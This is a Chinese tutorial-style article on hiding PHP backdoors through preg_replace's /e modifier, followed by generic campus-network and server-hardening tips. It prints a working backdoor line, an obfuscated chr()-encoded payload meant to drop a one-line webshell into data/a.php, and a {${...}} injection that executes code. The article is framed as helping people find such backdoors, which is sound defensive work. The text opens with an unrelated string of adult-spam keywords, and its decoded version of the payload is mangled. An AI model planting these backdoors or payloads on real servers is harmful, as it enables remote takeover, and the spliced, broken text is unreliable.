国产成人v爽在线免播放观看,日韩欧美色,久久99国产精品久久99软件,亚洲综合色网站,国产欧美日韩中文久久,色99在线,亚洲伦理一区二区

學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 電腦安全 > 系統(tǒng)安全 >

利用preg_replace隱藏后門原理是什么

時間: 加城1195 分享

  在一次幫助朋友檢查服務(wù)器的時候,竟然發(fā)現(xiàn)這樣的惡意代碼,利用各種查找后門的工具都沒有發(fā)現(xiàn)php木馬。怎么回事呢?有可能是某人利用preg_replace隱藏后門,感興趣的朋友下面一起看看!

  方法步驟

  通過分析發(fā)現(xiàn),小黑的訪問的文件發(fā)現(xiàn)代碼:

  @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

  如果你看到這個代碼是不是有的也沒什么問題,但是,這個就是小黑的掩藏的惡意代碼和后門。隱蔽吧,基本上任何查殺軟件都查殺不到。

  preg_replace函數(shù)原型:

  mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

  特別說明:

  /e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)。提示:要確保 replacement 構(gòu)成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現(xiàn)語法解析錯誤。

  上面的代碼是POST接受數(shù)據(jù)要測試,比較麻煩,如果換成GET獲取數(shù)據(jù)的話。。。

  舉例:

  echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);

  如果我們提交?h=phpinfo(),phpinfo()將會被執(zhí)行(使用/e修飾符,preg_replace會將 replacement 參數(shù)當(dāng)作 PHP 代碼執(zhí)行)。

  如果我們要POST的話,我們測試提交下面的代碼會怎么樣呢?

  h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

  密文對應(yīng)的明文是:

  fputs(fopen(data/a.php,w),);

  執(zhí)行的結(jié)果是在/data/目錄下生成一個一句話木馬文件 a.php。

  這個就恐怖了吧。。。。

  再來一個有難度的例子:

  復(fù)制代碼代碼如下:

  function test($str)

  {

  }

  echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);

  ?>

  提交 ?h=phpinfo() ,phpinfo()會被執(zhí)行嗎?

  肯定不會。因為經(jīng)過正則匹配后, replacement 參數(shù)變?yōu)?rsquo;test(“phpinfo”)’,此時phpinfo僅是被當(dāng)做一個字符串參數(shù)了。

  有沒有辦法讓它執(zhí)行呢?

  當(dāng)然有。在這里我們?nèi)绻峤?h={${phpinfo()}},phpinfo()就會被執(zhí)行。為什么呢?

  在php中,雙引號里面如果包含有變量,php解釋器會將其替換為變量解釋后的結(jié)果;單引號中的變量不會被處理。

  注意:雙引號中的函數(shù)不會被執(zhí)行和替換。

  在這里我們需要通過{${}}構(gòu)造出了一個特殊的變量,’test(“{${phpinfo()}}”)’,達(dá)到讓函數(shù)被執(zhí)行的效果(${phpinfo()}會被解釋執(zhí)行)。

  可以先做如下測試:

  echo “{${phpinfo()}}”; phpinfo會被成功執(zhí)行了。

  所以,各位查找后門的時候注意查找下。

  OK,說了那么多,也了解了,以上我給的代碼:

  @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

  看似很正常的代碼,其實就是一個極度危險的代碼,隱藏頗深啊。哈哈。希望對大家有幫助

  補充:校園網(wǎng)安全維護(hù)技巧

  校園網(wǎng)絡(luò)分為內(nèi)網(wǎng)和外網(wǎng),就是說他們可以上學(xué)校的內(nèi)網(wǎng)也可以同時上互聯(lián)網(wǎng),大學(xué)的學(xué)生平時要玩游戲購物,學(xué)校本身有自己的服務(wù)器需要維護(hù);

  在大環(huán)境下,首先在校園網(wǎng)之間及其互聯(lián)網(wǎng)接入處,需要設(shè)置防火墻設(shè)備,防止外部攻擊,并且要經(jīng)常更新抵御外來攻擊;

  由于要保護(hù)校園網(wǎng)所有用戶的安全,我們要安全加固,除了防火墻還要增加如ips,ids等防病毒入侵檢測設(shè)備對外部數(shù)據(jù)進(jìn)行分析檢測,確保校園網(wǎng)的安全;

  外面做好防護(hù)措施,內(nèi)部同樣要做好防護(hù)措施,因為有的學(xué)生電腦可能帶回家或者在外面感染,所以內(nèi)部核心交換機(jī)上要設(shè)置vlan隔離,旁掛安全設(shè)備對端口進(jìn)行檢測防護(hù);

  內(nèi)網(wǎng)可能有ddos攻擊或者arp病毒等傳播,所以我們要對服務(wù)器或者電腦安裝殺毒軟件,特別是學(xué)校服務(wù)器系統(tǒng)等,安全正版安全軟件,保護(hù)重要電腦的安全;

  對服務(wù)器本身我們要安全server版系統(tǒng),經(jīng)常修復(fù)漏洞及更新安全軟件,普通電腦一般都是撥號上網(wǎng),如果有異常上層設(shè)備監(jiān)測一般不影響其他電腦。做好安全防范措施,未雨綢繆。

  相關(guān)閱讀:提高服務(wù)器安全性的技巧

  1.經(jīng)常更改系統(tǒng)管理員密碼。---->且密碼最好是大小寫都有

  2.定期更新系統(tǒng)補丁。---->開啟自動更新,并設(shè)定到晚上重啟。

  3.檢查系統(tǒng)是否多出超級管理員,檢查是否有帳號被克隆在“開始”>運行中輸入“cmd”>在輸入 net localgroup administrators

  4.在“開始”>運行中輸入“msconfig”檢查隨機(jī)啟動的程序和服務(wù),關(guān)掉不必要的隨機(jī)啟動程序和服務(wù)。

  5.服務(wù)器上的所有程序盡量安裝程序的最新穩(wěn)定版。

  6.檢查SERVU是否被創(chuàng)建有執(zhí)行權(quán)限的用戶或者對C盤有讀寫權(quán)限的用戶,并且給SERVU設(shè)置一個登錄密碼。如果需要請給serv_u設(shè)置獨立啟動賬戶。

  7.不要隨意安裝任何的第三方軟件。例如XX優(yōu)化軟件,XX插件之類的,更不要在服務(wù)器上注冊未知的組件。

  8.不要隨意在服務(wù)器上使用IE訪問任何網(wǎng)站,杜絕隱患那是必須的。

  9. 檢查系統(tǒng)日志的“安全性”條目,在右側(cè)查看近期“審核成功”的登錄

  10.不要在服務(wù)器上雙擊運行任何程序,不然怎么中了木馬都不知道。

  11.不要在服務(wù)器上用IE打開用戶的硬盤中的網(wǎng)頁,這是危險的行為。

  12.不要在服務(wù)器上瀏覽圖片,以前windows就出過GDI 的安全漏洞。

  13.及時的更新病毒庫,查殺病毒。

  14.定時的查看系統(tǒng)各個盤符的磁盤權(quán)限,是否為設(shè)定的安全權(quán)限。

  15.確保你自己的電腦安全,如果自己的電腦不安全,服務(wù)器也可能不太安全。


后門攻擊相關(guān)文章:

1.計算機(jī)病毒簡介及預(yù)防

2.常見的WEB攻擊以及解決方法

3.電腦后門病毒

4.詳解TP-LINK路由器漏洞可遠(yuǎn)程竊取隱私

5.如何預(yù)防和抵制黑客入侵

4016545